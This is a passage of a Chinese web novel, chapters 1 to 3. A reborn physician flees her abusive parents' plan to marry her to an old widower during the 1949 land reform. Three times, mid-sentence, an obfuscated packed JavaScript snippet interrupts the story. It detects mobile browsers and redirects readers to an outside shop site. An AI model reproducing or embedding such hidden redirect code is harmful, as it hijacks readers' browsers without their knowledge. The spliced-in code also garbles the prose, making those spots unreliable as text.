《五零炮灰真千金》 1. 第 1 章 三河村,清晨。 天刚蒙蒙亮,雾气笼罩着群山,远看朦胧一片。一阵北风刮过,卷着寒意钻过未关严实的窗口缝隙,屋里的温度瞬间降了三度。 原本脑子还有些昏沉的焦离立即清醒过来,她抬手捂着额头,一时只觉头痛欲裂,浑身上下哪儿都难受,胸闷想吐。 刚想翻身,身下简陋的木板床猛然倾斜了一下,焦离连忙抓紧床边的旧木箱子,才不至于跌下床。 就这么一个随意的动作,惹得焦离眼前一花,冷汗瞬间下来了,感觉随时能晕过去。 缓了好久,才终于好些了。 她吃力地抬眼扫视了周围,屋里静悄悄的,一个人也没有。 昏暗的土坯房,黄泥的墙面,墙角堆满各种乱七八糟的东西,有旧农具和竹筐、缺了豁口的镰刀、麻竹制成的竹梯等,这些东西让原本就狭小的屋子显得更逼厌了。 很明显,这是个杂物间。 眼前的场景陌生又熟悉,和残存在脑海里的记忆一模一样。 焦离微微恍惚了一下,轻轻吐出一口气。 她本该死了,没想到眼睛一闭一睁,突然在一个陌生的身体莫名其妙地活了过来。 记忆中,这具身体的原主人,大名唤作刘大丫的小姑娘,今年刚满十七岁,因为不堪忍受被父母逼迫硬要她嫁给同村五十岁鳏夫,半夜投湖自尽死了。 焦离刚一穿来,就被人发现救上岸,侥幸捡回一条小命。还不等她想清楚这是怎么一回事,就又晕过去了。隔天发起了高烧,直到第三天才清醒过来。 这一清醒,才有心思捋一捋眼下的情况。 她如今所在的地方叫做三河村,是个三面环水的偏远小村子,村口只有一条小路通往外界,连翻过三座山便是泗水镇,再远一点的地方就不知道了。毕竟原主从小到大都是在村子附近打转,很少出远门。 只是—— 焦离凝神细想了一下,泗水镇?三河村?这地名好像在哪听到过?总觉得有些熟悉。 地名耳熟,但周边的环境却令人陌生。 焦离抬手推开窗,顶着湿冷的寒风向窗外望去。映入眼帘的便是一大块菜地,竹林环绕,远处群山郁郁葱葱,满是绿色。本该是寒冬腊月的时节,外边却不见枯木落叶,银装素裹。 很明显,三河村地处南方,至于位于哪个省哪个市,目前还无法确定。 焦离眼下唯一能确定的一点就是,现在是1949年12月份。 两个月前,国家刚刚成立,举国欢庆。那一天泗水镇还举办了欢庆集会,村里有人结伴去看了,回来后还绘声绘色地给没去的村民讲述了当时的热闹情形。 1949年啊!那可是已经记载在历史书上的时代了! 当从记忆里得知这一消息时,向来淡定自如的焦大夫一时间也有些傻眼了,没想到她一朝死而复生,居然来到了一个全然陌生的时空。 一个陌生的世界,陌生的年代。 焦离内心混乱了一下,随即又安慰自己,算了算了,既来之则安之。管它什么年代,好好活着才是最重要的。 她回过神来,把左手搭在右手上,给自己号脉。 大冬天的,在冰冷的湖水里泡了半夜,又高烧昏迷了三天,接着被连灌了三天不对症的药汤,能醒过来算是她命大了。若不好好调养身体,以后肯定会落下病根,走三步喘两步,后半辈子拿药当饭吃了。 养病的方子焦离随手就能写出来,只是这三河村,落后偏远,要什么没什么,药材都凑不齐五六样,想要养好身体,难! 看来得想个办法去城里,焦离思忖道。 就在这时,门外传来一阵脚步声,急匆匆的,渐行渐近。 有人来了! 焦离侧身躺下,闭目保持昏睡不醒的模样。 下一秒,只听‘吱呀’一声轻响,房门被推开了。 来人快步走到床前,见床上的人还昏迷着,眉头立马皱了起来,似乎有些不满,而后探出手摸了摸少女的额头。 冰凉粗糙的触感一度惹得焦离紧张屏息,动也不敢动。 此时,门外传来一个中年男人的声音,“招娣,大丫醒了么?” “没呢。”田招娣不高兴地回了他一句,“瞧着不发热了,也不知道啥时候能醒。” “那怎么办?”刘胜利急了,快步走进屋里,“老李头那边刚刚偷摸过来催呢,我好不容易才把人打发走,可我瞧着,他人看着不太高兴。” “不高兴能咋?大丫在冷水里泡了一宿,连着三天发高热,现在人都还没清醒过来,你说能怎么办?” 闻言,刘胜利烦躁地扒拉一下头发,皱眉道:“工作队快回村了,咱们这事再不抓紧办,就来不及了。” 工作队?什么工作队? 这个念头刚浮起,焦离脑海瞬间闪过几个挎着驳壳枪的身影,顿时恍然。 是土改工作队! 前阵子工作队进驻柳河村,在附近几个村子跑上跑下,走门串户,召开各种会议大力宣传土改政策,听说最近几天正准备进行下一阶段的任务——划分阶级。 而刘家,不是地主就是富农,都属于被打倒批斗的对象。 想到原主自杀的原因,再结合男人刚才说的话,焦离瞬间激灵一下,心里涌起一丝不好的预感。 果然,沉默两秒后,田招娣开始说话了,提议道:“要不?咱们偷偷把大丫送过去,这样好歹也算是进了老李家的门,到时候生米煮成熟饭……” 闻言,装晕的焦离简直要被气笑了。 这对爹妈真行啊!亲生闺女被他们逼的半夜跳湖自杀,如今半死不活地躺在床上,这两人却无动于衷,甚至还有心思盘算着把闺女送到陌生老男人的床上,简直一点也不顾闺女的死活,冷漠无情到极致了。 虎毒尚不食子呢,焦离严重怀疑,原主压根就不是这两人亲生的,否则他们怎么会这么狠心,冷漠无情。 不过对比起原主那个小她三岁的妹妹刘宝珠在家里的待遇,原主确实不像是亲生的,倒像是捡来的一样。 光从名字就能够看出来——刘大丫,刘宝珠,明明是两姐妹,取的名字却给人的感觉很不一样,一个明显透着随意敷衍,仿佛不被人放在心上,另一个却显然郑重正式多了,宝珠珠宝,如珠如宝,字里处处透着一股喜爱。 事实也确实如此,妹妹刘宝珠,自出生后家里就要星星不给月亮,年龄一到就被刘父送去学堂念书,长到14岁没有下过地,也没做过重活,羡煞了一干村里的姑娘。而原主从小就爹不疼娘不爱,经常被刘父刘母呼来喝去,平日里非打即骂。 因为不被喜欢,所以刘胜利田招娣两人对原主极尽苛待,漠视,打骂,把她当做货品一样随意与人交易换取利益,意图榨干原主的最后一丝价值。 是这样的原因么? 焦离暗自咬牙,几乎控制不住想要暴起把眼前两人痛殴一顿,给原主出气。摊上这么一对自私自利的父母,原主简直是倒了八辈子血霉了。 站在床前的刘胜利和田招娣对焦离此刻的心里活动一无所知,他们满以为大丫还在昏迷中,说话音量渐渐大了起来,毫无顾忌。 刘胜利一秒都没有犹豫:“也行,我待会去找老李头,你简单地给大丫收拾一下,等我们谈妥了再把大丫送过去。” “那你快点。”田招娣催他,随后想到什么似的,问刘胜利,“老李头真能帮我们在大力面前说话?” “能!老李头亲口说了,这事包在他身上。”刘胜利斩钉截铁道,“这事你就放心吧。老李头是李大力的亲爹,亲爹的话儿子哪有不听的。再说了,大丫嫁过去是给他爹当小老婆的,李大力再怎么有能耐,官做得再大,那也得恭恭敬敬喊大丫一声‘后娘’。到那时咱们刘家和他们李家两家就是一家人,李大力给咱们家划分成分的时候就得掂量掂量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207933|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那就好。”田招娣松了口气,“你是没看见,镇上的地主黄老爷一家挨批斗的那天闹得有多邪乎,我可是亲眼瞧见了的。人被吊起来抽打,浑身是血,险些被打死了。要是咱家明儿真被揪上去批斗,我倒是不打紧,只是咱们宝珠细皮嫩肉的,怎么受得了啊。” 田招娣想起那天就心有余悸,天冷,她怕闺女在镇上的学堂里冻着,给她送去了两件新棉袄,谁知遇上了批斗大会,那血糊糊的场面,吓得她当场白了脸。 想到这,田招娣羡慕道,“老李头真好命,穷困潦倒了大半辈子,没想到儿子却是个有本事的,出去没几年就混出了个人样,当上了工作队的队长,他们家也算是时来运转了。不像镇上的黄老爷,原来有多风光,现在就有多落魄,一家子都被赶去住牛棚,房子土地什么都没了。” “谁能想到呢。”刘胜利唏嘘道,转而得意起来,“咱们家和他们不一样,如果大丫这件事成了,有了李家做靠山,咱家也能借点光,不用受那些罪,以后日子照样过得舒舒服服的。” 焦离忍不住在心里冷笑,想的到挺美!她可不是腼腆温柔的原主,谁敢让她不高兴,她就跟谁过不去!这对无良父母想要过好日子,做梦去吧! 闻言,田招娣高兴起来,笑着把他往门外推:“行了行了,你快去找老李头,跟他商量一下这事儿。我给大丫梳洗一下,换身衣裳。” “给她换一身鲜亮的,就你前儿个新做的那个红色衣裳,够喜庆。别再穿那些破烂的粗布衣裳,补丁打了一个又一个,没得让人倒胃口。”刘胜利一边往外走一边交代道。 田招娣不乐意:“新衣裳是我照着宝珠的尺寸做的,大丫穿不了。”那样好的料子,自家宝珠还没穿过呢,怎么能白白便宜了那死丫头! “她们俩身量差不多高,怎么就穿不了了?”刘胜利皱眉,随即摆手,“算了,没有新的就穿旧的,宝珠衣裳那么多,你拣一套稍微看得过去的给大丫穿。” 不过是旧衣裳,宝珠有一大箱子呢。 田招娣满意了,一口答应下来,“行。” “得,我走了。” “嗯,去吧。” 焦离静躺着不动,只听一阵脚步声渐渐远去,紧接着门被关上了。没一会,田招娣去而复返,手里拿着一套半新不旧的衣裳匆匆进屋,一屁股坐在木板床前,掀开盖在焦离身上的破棉被,抬手就要扒开她的衣服。 焦离不露声色,装出一副人事不知的模样,任由田招娣摆弄她的身体。 12月的天气,北风呼呼刮着,透骨的冷。 焦离被冻得浑身僵硬,闭目忍受田招娣粗鲁的动作。衣服换完了,那女人又拿出一把木梳给她梳头,下手没轻没重的,头发都被扯掉了不少。 焦离:“……”我忍! 田招娣给焦离编了两个辫子,退后两步上下打量了她一眼,见那丫头细骨伶仃的,长手长脚的躺在床上,脸色苍白,哪怕是昏睡着,也能看出小模样很是出挑,透着一股楚楚可怜的韵致。 难怪老李头一听自家要把大丫嫁给他,二话不说就答应了下来,还催的一次比一次急。 这容貌这身段,哪个男人不喜欢? 虽然不愿意承认,但田招娣心里也清楚,自家宝珠比大丫差远了。 不过长得好看有什么用?最后还不是要嫁给五十岁的老男人,一辈子就这样了。 田招娣瞥了一眼床上昏迷的人,嘴角牵起一抹弧度,冷冰冰的,似是嘲弄。 眼见收拾得差不多了,她也懒得再在这里多待,转身便出了门。 等人彻底走远,焦离才睁开眼睛。 刚才,她好像感受到了一股很强烈的恶意。 田招娣似乎对原主抱有很大的敌意。 真奇怪啊!亲妈居然会仇视自己的女儿? 焦离满心困惑,脑海里再次浮现出一个念头,原主真是田招娣亲生的么? 2. 第 2 章 焦离觉得自己可能多心了,这世上并不是所有的父母都会爱自己的孩子,也不是所有的父母都能对孩子一视同仁,从不偏爱。 而原主,可能只是恰好是两个孩子中不被爱的那一个。 焦离一边想些有的没的,一边赶紧从床上爬起来,手酸脚软地下了床。趁着田招娣没回来之前她要赶紧逃离这里,再不走,自己就要被抬去老男人家强行入洞房了。以她现在的身体状况,根本打不过田刘胜利和田招娣这两人,一点反抗之力都没有。 下了床,焦离开始翻箱倒柜,打包行李。这一走,她就没打算再回来。所以原主的东西,她都要带走,一件也不留。 原主的东西,比她想象的还要少,一件洗得发白的粗布对襟薄衫,两条改良过的肥大长裤及打满补丁的稍厚点的短袄,寥寥几件都凑不齐两套衣物。 焦离把短袄拿过来穿上,田招娣给她穿的衣服是单薄的夏衣,看着是新一点,但一点也不保暖。抬手间,手臂上略显宽松的袖子滑了下来,露出一截伤痕累累的皮肤,焦离目光不由一顿。她把袖子全部撸上去,又检查了全身上下,目光所及全是陈年旧伤,也有些新伤,胳膊和大腿看着有些红肿,淤青还未消下去呢,明显是前几天刚被打的。 怪不得她总觉得身体哪儿哪儿碰一下都疼得难受,原来这具身体还带伤呢! 焦离很怀疑背上也有,她伸手摸了摸,果然一摸就疼。 刘胜利那两口子简直不是人!居然这么虐待自己的亲生女儿! 焦离暗骂一句,畜生不如的东西。 穿好了,剩下的衣服她全部仔细叠好放在方巾上,然后按着脑海的记忆,从木板床底下翻出一个黑色小布包,来不及细看,直接与叠好的衣服放在一起,扯起方巾四个角打成结。 就连床上的破烂棉花被,焦离也没放过,她找来绳子绑成豆腐块样式的,直接背在身后。这一背险些把她压得起不来,在地上挣扎了半天才晃悠悠挺起身子。 这被子本就是棉大衣拆做成的,摸上去棉花疙瘩都硬成一坨一坨的,不怎么厚实,但也有两三斤重,焦离身体未愈,背着这么重的东西着实有些够呛。 背好了,她拎起小包袱朝门口走去。 外面静悄悄的,似乎一个人也没有。 奶奶刘老太三年前就已经搬去泗水镇跟二儿子住了。为了完成学业,刘宝珠前两年也去了镇上,借住在二叔家,放假了才回村。如今偌大的刘家,现在就她和刘胜利、田招娣三人。 作为三河村数一数二的富户,刘宅自然比一般村民气派广阔多了。房屋位于村尾山脚下,坐北朝南,前院是三间青砖瓦房,后院两间茅草屋连着牛棚和猪圈,再往后是一片小树林,占地面积颇大。 说起刘家的发家史,三河村的人至今觉得很神奇。 二十年前,刘老爷子和刘老太带着一大家子挤在牛棚里,全家六口人几乎连件像样的衣服都找不着,头上、身上虱子成群,老爷子当时还是镇上黄地主家的长工,三个月只能回村一次。靠着老爷子给地主家干活得来的那一点工钱,又有大儿子刘胜利和大儿媳田招娣帮富户做事支应着,刘家人勉强活了下来,没饿死。 后来也不知道怎么回事,刘老爷子突然死了,村里人还说呢,刘家人这下过得更难了。结果老爷子死后没两个月,刘家莫名其妙就发财了。 刘家买了地,修了大房子,又买了田,种了粮。 刘老太开始穿金戴银,隔几天换一身新衣裳,过得招摇又得意。 她给二儿子刘胜军娶了新妇,又把闺女刘玉兰嫁去了隔壁坡子村。 那一年,刘家喜事连连,一下子都抖擞起来了,成了有钱人,顿顿精米细面,看得村里人个个都眼红。 他们实在想不通,刘家到底从哪得来的钱? 有那消息灵通的,说刘家其实在省城有一门亲戚,人家当时开着小汽车找来了。 见刘家过得这么落魄,亲戚哪有不拉拔一下的道理?于是给了刘家一大笔钱,好让他们买房买地过得好一点。 是真是假没人知道,只知道刘家有了钱之后,个个鼻孔朝天,那个显摆炫耀哟,没有以前看着实诚了。 大部分村民都不爱跟他们打交道,这就导致了刘家宅院这边很少有人来,前院后院都冷冷清清的,正好方便焦离逃跑。 只是她现在实在虚弱的很,背上还负重,没走几步,她就累得气喘吁吁,面白如纸。 途中路过院墙脚下的一口枯井,焦离的目光忍不住那口枯井流连了一下,终于忍不住失望的叹口气,抬步继续往前挪。 俗话说狡兔三窟,刘胜利虽算不上狡兔,但因家里有些余财,也有给自己找‘三窟’的本能,藏起钱财的法子就像那地主老财一样,哪里不显眼就藏哪里。尤其是当他知道地主富农都要被没收所有财产土地后,一连好几天都没睡好,到处找比原来更隐蔽的藏钱的地方。 那口枯井就是他新找的藏宝之地,还有一处在后院的小树林,最近的这两处地方都不是焦离现在的身体状况能够轻松的拿得到的。 忽然,焦离听到前院有位大娘一边拍门一边喊人:“胜利,胜利,在不在家?” “哎,来了。”只见正前方烟囱冒着滚滚白烟的厨房里传来田招娣的应声,紧接着厨帘被掀开了,田招娣一边低头擦手一边疾步往外走。 焦离反应很快,脚步立马一转,赶在田招娣抬头看见她前侧身直接贴墙蹲了下来,借由旁边的树丛掩去身影,防止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207934|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她发现。 等田招娣从她面前匆匆走过,焦离搂紧包袱刚要起身,眼前蓦地一黑,差点晕倒在地。她紧紧扶住墙面,稳住身体后立马迈开腿往前走去。她得在田招娣回家前离开这里,不能被她逮着了。 她踩着虚浮的步伐,踉踉跄跄前行,一边走一边留意外面的动静,隔了老远还听到田招娣大声问:“是刘嫂子啊。胜利不在,有啥事啊?” “你小姑子被胡有钱休了,正在闹呢,赶紧看看去……走走走,叫上胜利,这种事就得家里的男人出面处理才行……” “胜利不在,我去也一样,用不着他。”田招娣道。 “那怎么行呢!没事,叫上我家那口子也一样,咱们多叫几个人……” 说话间,两人的脚步越来越远,交谈声渐渐听不见了。 走了? 焦离心中一喜,余光瞟到厨房那晃动的门帘,她迟疑了一瞬后,立马钻了进去。 这个时间,田招娣肯定是在做早饭,锅里肯定煮有食物,她偷偷拿一点,以备不时之需。据她所知,小姑子刘玉兰嫁去了隔壁坡子村胡家,距离三河村不远,但一来一回也得要一个小时,等她回来发现自己跑了想追也来不及了。 一踏入厨房,红薯的甜香混合着一股热气扑面而来,焦离熟门熟路来到灶台,揭开大锅盖,只见蒸屉上面放着七八个红薯,还有两个鸡蛋,下面熬着浓稠的玉米粥,正咕噜咕噜冒着白气。 翻出菜篮子,焦离毫不客气把所有红薯鸡蛋全部打包了,剩下的玉米粥,她也没放过,用大海碗盛了一碗,放在篮子里一并提走。 田招娣虽然走了,刘胜利却还在村里同老李头商议婚事,焦离怕他突然返回来,拿了食物立马就走,片刻也不敢耽搁。 顺利从刘家离开,焦离就有些茫然了。 接下来该怎么办? 去城里么? 可她身上一分钱都没有,怎么去? 再则,这个时间点,国家刚刚成立没多久,听说有些地区还有些混乱,土匪恶霸横行。虽说当地组织军队进行过几次清剿活动,但难保没有漏网之鱼。从村里到省城,那么遥远的距离,路上远没有后世那么安全,她一个人行走,似乎有些过于危险了。 而且现在出远门似乎还得需要介绍信,这么一个敏感的时期,万一在路上被抓住了,没有能够证明自己身份的信件,说不清楚自己的身份来历,这可不是开玩笑的。再加上刘家将来若是被划分为富农,作为刘家人,焦离身上定会被打上了富农子女的烙印,被抓住后性质就严重了不是一星半点。 怎么想,都觉得步步艰难。 可是再艰难,也得走一步试一试。 首先,得想个办法弄到介绍信。 3. 第 3 章 焦离心里打定主意,招手找来一个眼熟的小孩,问他工作队的下落,得知他们昨天去了坡子村还没回来,心里不由有些失望。 她向他道了谢,又叮嘱他千万不要和别人提起见过自己,尤其是刘胜利和田招娣。 浑身破烂的黑瘦小男孩眼睛黑白分明,认真点头道:“姐姐放心,我不会任何人说的。” “乖!” 摸着小孩的头,见他身上遍布青一道紫一道的伤痕,焦离有些心疼,从篮子掏出一个鸡蛋塞给他,“给。” “谢谢大丫姐姐。”男孩眼睛一亮,笑得腼腆又羞涩。 与小孩分开后,焦离避着人往村口走去。所幸冬日农闲,天又冷,大清早的村里也没有多少人走动。焦离一路躲躲藏藏,走走停停,花了半个小时走出村口,来到了通往三合村和坡子村两条路的岔路口。 她找了个荆棘丛生的隐蔽地方坐下,打算就地休息一会,顺便来个守株待兔。田招娣现在正在坡子村呢,她要是找去,万一倒霉不幸碰上了怎么办?所以最好的办法就是原地不动,守在工作队必经的道路,肯定能等到。 焦离平复了一下呼吸,抖开棉花被裹住身上,从篮子里拿出大海碗,开始喝粥恢复体力。温热的玉米粥一入喉咙,暖意从胃里蔓延至四肢百骸,冻得手脚发僵的身体似乎也徐徐暖了过来。 她此时无比庆幸自己把棉被也带出来了,要不然这么冷的天,她肯定撑不过一晚上。 喝完粥,她把碗放好,头靠在大石头闭目歇息。没多久,焦离感觉身体有些发冷,头脑似乎也渐渐昏沉起来了。她猛然惊醒,给自己摸了摸脉。 唔,又发烧了。 焦离叹口气,伸手按住身上的大椎穴和风池穴,来回按压。虽然知道这样的做法作用微乎其微,但眼下要什么没有什么,只能用这样的法子退烧了。 她在身上揉揉捏捏给自己退烧,耐心等到了一个小时,却没想到还没等来工作队,先等到了田招娣一行人。只见那一群人骂骂咧咧的从道路那头走出来,姑姑刘玉兰和她闺女胡小翠也在其中。两人提着大包小包,胡小翠一路走一路抽抽噎噎的,刘玉兰更是大骂姑父胡有钱不是好东西,丧了良心的孬种,混蛋! 看这情景,刘玉兰和胡有钱还真是离了啊。 刘玉兰性子泼辣难缠,未出嫁时和大嫂田招娣就不对付,两人一向针尖对锋芒,中间又夹着喜欢拉偏架的刘老太。焦离可以预料到,刘家往后的日子会有多‘精彩’了。 焦离颇有些幸灾乐祸,不用她出手,有刘玉兰在,田招娣将来的日子就舒心不了。 想到这里,焦离可开心了。 她默默蹲在丛林里,盯着田招娣她们走远,直到人影都看不见了,就赶紧起身开始把被子打包绑起来。 土改队也不知道要在坡子村待多久,既然田招娣都走了,那自己不如偷偷摸去坡子村。毕竟再这么等下去也不是办法,田招娣回去后肯定发现她已经跑了,万一她发动村里人帮忙找人,那她岂不是很危险? 说走就走,她抱着包袱挎着篮子,背上背着破烂被子,一路往坡子村赶去。 原主来过坡子村好多回了,对这个地方熟的不能再熟了。刘老太前几年还住在三河村时,就时不时打发她过来给姑姑刘玉兰送点吃的穿的,正大光明接济小女儿一家。为此田招娣心里怄死了,可她又不敢跟刘老太生气,无辜的原主就成了出气筒,常常遭到一顿毒打。 这对婆媳,一个恶毒,一个刻薄,原主就是刘老太和田招娣斗法被波及的倒霉蛋儿,日日夹在两人中间两头受气。 按照记忆里的路线,焦离赶在12点之前很快来到了目的地——坡子村最穷的赵家,工作队的成员现在肯定就住在这里。 土改队要开展工作,必须要深入群众,所以他们当初一进驻三河村,就住进了三河村最穷最正派的那几户贫民家,如今在坡子村肯定也不例外。 而坡子村,最穷苦的那一户人家,焦离也恰好认识。他家的大儿子,是曾被刘家雇佣了好几年的长工,名字叫赵二蛋,原主和他很熟悉。 赵二蛋下面还有一个弟弟,三个妹妹,家里孩子多,负担重,所以赵婶子就把未成年的赵二蛋送去刘家当长工,好给家里减轻一些负担。赵二蛋这长工一当,就是五六年,直到地区解放了才被刘家解雇。 他们家就住在坡子村外围,左右都没有邻居,正好方便焦离过去找人,因此一路过来,都没有被人看见。 走了那么长一段路,焦离累得手脚发软,几乎要支撑不住晕倒了。她气喘吁吁抬头,就见两间破败的茅草泥房孤零零伫立在荒野间,屋前是一片打理得井井有条的菜地,环境看着虽然穷苦,但不显得邋遢。 茅草屋檐下,有一男一女站在一起似乎在低声商量着什么,旁边地上坐着一位正在择豆子的大婶,满脸和善,笑眯眯地听他们讲话。 焦离目光落在憨厚青年脸上,喊人:“大力哥。” 瞬间,三人都看了过来。 “大、大丫?”李大力打量着焦离,见她眼眶通红脸色青白,背上还背着行李,一副离家出走的模样,似乎有些诧异,随即爽朗地笑了,“听说你前两天不小心掉进湖里了,昏迷了很久,现在身体怎么样了?好些了么?” “不是不小心,是我自己跳进去的。”焦离平静摇头,迎着在场三人惊讶的目光,屈膝‘扑通’一声跪在李大力面前,“大力哥,求你救救我。” “哎你这是干什么,快起来!”李大力惊了,赶紧伸手去扶。 旁边爽朗利落的女人——秋小红也被这场面唬了一跳,就要去抓她的手臂搀她起来,“同志,有什么话你好好说,好好的下跪干什么。”刚碰到焦离的手,就发觉她的体温似乎有些偏高,连忙摸了摸她的额头,果然滚烫滚烫的,“你在发高烧啊,这么烫,再烧下去会死人的。” 赵婶子豆子也不摘了,连忙站起身,“我去找二蛋,让他去镇上给大丫抓副药回来。” 焦离不肯起,暗中猛掐了大腿肉一把,硬逼自己红了眼眶,泫然欲泣抬头,“我爹娘要把我嫁给李叔,我不肯,就跳进湖里……” 李叔? 附近几个村子大多姓刘,姓赵,甚至是周,很少有姓李的。姓李的大多是外来户,李大力家就是其中之一,而在三河村,能被大丫叫做李叔的,除了李大力的爹也没有其他人了。 赵婶子猛然顿住脚步,立马看了李大力一眼,又转头看向焦离,一脸心疼道:“你这孩子,怎么能拿自己的小命开玩笑,说跳就跳。那湖水深的很,一不小心真的会没命的。” “我是真的没办法了。”焦离哽咽道,“可他们还不死心,今天就想把我抬进李家的门……李大哥,求求你救救我,我不想嫁……” 似乎从赵婶子这一眼意识到了什么,李大力神色震惊问:“你说刘叔刘婶把你许给了我爹了?” 焦离流着泪点头,神情凄楚。 驻村了半个月,秋小红对附近周围几个村子的人员情况了若指掌,对自家队长的爹也有过几次照面。 印象中,那老李头早年丧妻,只有李队长一个儿子,模样黝黑干瘦,头发稀疏,一笑就满脸褶子露出大黄牙,活脱脱的农村老汉的形象。 老李头的年纪足以当眼前这位女同志的爹了!刘父刘母心底打的是什么主意,简直是昭然若揭。 秋小红怒了,气愤道:“结婚,就要‘以男女当事人之自由意志’为前提,刘胜利和田招娣这个行为,和卖女求荣有什么区别?李队长,老李头是你亲爹,对于这件事,你必须给这位女同志一个交代。” “老李头一把年纪了还想娶小姑娘,简直不知羞!”赵婶子也‘啐’了一口,对李大力道,“大力,你回去得好好劝劝你爹,可不能乱来啊。” 李大力被秋小红和赵婶子你一言我一语说得无地自容,脸涨得通红,他强拉焦离起身,“你放心,这事我会管到底。走,你跟我回三河村,我亲自去跟我爹说,这件婚事不作数。”说着,就要带焦离离开赵家。 “不行!我不回去。”焦离猛地摇头,站在原地就是不肯走。开玩笑,刘胜利和田招娣现在说不定正到处找她人呢,这一回去不就是自投罗网么?她绝对不回! 焦离捂住脸嘤嘤痛哭出声,悲戚道:“没有李叔,也会有赵叔,周叔。我爹娘是绝对不会放过我的,他们迟早会随意将我嫁出去,不管我愿不愿意。”说到这,她把袖子往上拉,露出自己伤痕累累的手臂,哭得梨花带雨的,“如果让我爹娘知道我坏了他们的事,他们会打死我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207935|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我不能回去!大力哥,求你帮帮我,我想离开这里。” “这……”李大力愣了一下,有些犹豫。 经过这些天的讨论,附近几个村子的村民中究竟谁是什么成分,已经大致明了了。初定有1个地主,2个富农,7个中农。而刘家,已经确定被划分为富农。刘大丫作为刘家人,是富农子女,按理是应该和其他人一起进行批斗的,放刘大丫离开,原则上是不被允许的。 察觉到李大力的迟疑,焦离退而求其次,红着眼睛哀求道:“我、我只是想离开这里一段时间,等爹娘气消了再回来,绝对不走太久。大力哥,我现在真的不能回去,求你了,救救我。” 焦离如今缺的,仅是一个能够离开三河村的机会。只要能够离开这里,天高任鸟飞,她相信以自己的能力最后肯定能顺利留在城里。 只是,李大力好像不肯答应,该怎么办呢? 一路奔波劳累,本就病重未愈的焦离脸色早已白得不正常,白中泛青,又因身体在发高热,整个人摇摇欲坠,几乎已经到了极限。 忽然,她身体顺势一歪,蓦地往地面倒去,幸好秋小红眼疾手快扶了她一把,她才没摔倒在地上。 “哎呀,快把她扶进房屋。”赵婶子喊秋小红。 “我来吧。”李大力上前解开焦离背在身后的棉花被,然后将她打横抱起,快步走入茅草屋。 焦离感觉自己被人放平躺在床上,她睁开眼睛,拉住李大力不放,气若游丝道:“大力哥,我、我求你了。” 赵婶子看得不忍,长叹一口气:“大力,你要是能帮大丫就帮吧。大丫在刘家过的根本不是人过的日子。刘胜利和田招娣那两口子,心狠,从不把大丫当做亲闺女看待,动不动就打她。有一年冬天,愣是让大丫不吃不喝地在外面跪了一天一夜,要不是村里人看不过去轮番说了他们一顿,那两口子恐怕还不肯让大丫起来呢。” 赵二蛋在刘家当过几年长工,因此赵婶子对焦离在刘家的遭遇最清楚不过,知道这个也是个可怜的孩子。 她对李大力说:“你也是在三河村长大,刘家是怎么对待她的,是个什么态度,你难道还不清楚么?按你们这些天跟我说的道理一样,她其实也是受剥削阶级压迫的苦命孩子。大丫虽然也姓刘,但她在刘家完全就是个外人,平时吃的穿的用的,比刘家的长工还不如,你们不能因为她是刘家人就否定她的遭遇。” 闻言,李大力神色有些松动。 秋小红目露怜悯,干脆建议道:“队长,我看这位女同志病得实在不轻,镇上却只有一家药铺,没有坐堂大夫,咱们不如找人送她去省城大医院,说不定能治好。咱们只是让她去省城看病而已,病好后就回来,也不耽搁多少事。” 去省城看病?!李大力想了想,终是点头道:“行。只是她一个小姑娘,又从来没出过远门,一个人去不安全,找个人陪她去吧。”说到底,大丫病成这样,他爹也有一半的责任。对于大丫,他心里终究觉得有些亏欠,没法硬起心肠撒手不管。 焦离睁大眼睛,事情好像成了!她正要说她一个人也可以,就听到赵婶子毫不犹豫道,“让二蛋陪大丫去。” “二蛋整天在外面鬼混,成日不着家的,闲得很。天冷也没啥活,让那傻小子送大丫去省城。”赵婶子很热心,说着就站了起来,“我去找他回来,现在就走,大丫的病不能再拖了。” 说完,匆匆往外走。 焦离大喜:“谢谢!谢谢你们。” 李大力一点头,事情就变得简单起来了。焦离心心念念想要的介绍信没一会就被送了过来,与此同时匆匆赶回来的赵二蛋也收拾好了行李,把她的包袱全部接了过去,然后扶她骑上工作队带来的驴子,两人一驴很快就走远了。 焦离回头望向距离他们越来越远的坡子村,揉了揉哭得红肿的眼睛,眉眼弯弯。 今天眼泪总算没白流,终于可以离开了。 赵二蛋一边走一边好奇地问她:“大丫,你刚才和大力哥、小红姐三个人在角落里嘀嘀咕咕聊什么呢?” “没什么。”焦离笑嘻嘻的。 不过是把刘家所有藏钱的地方全告诉了工作队而已。 刘家人的好日子马上就要到头了。 是喜事啊! 4. 第 4 章 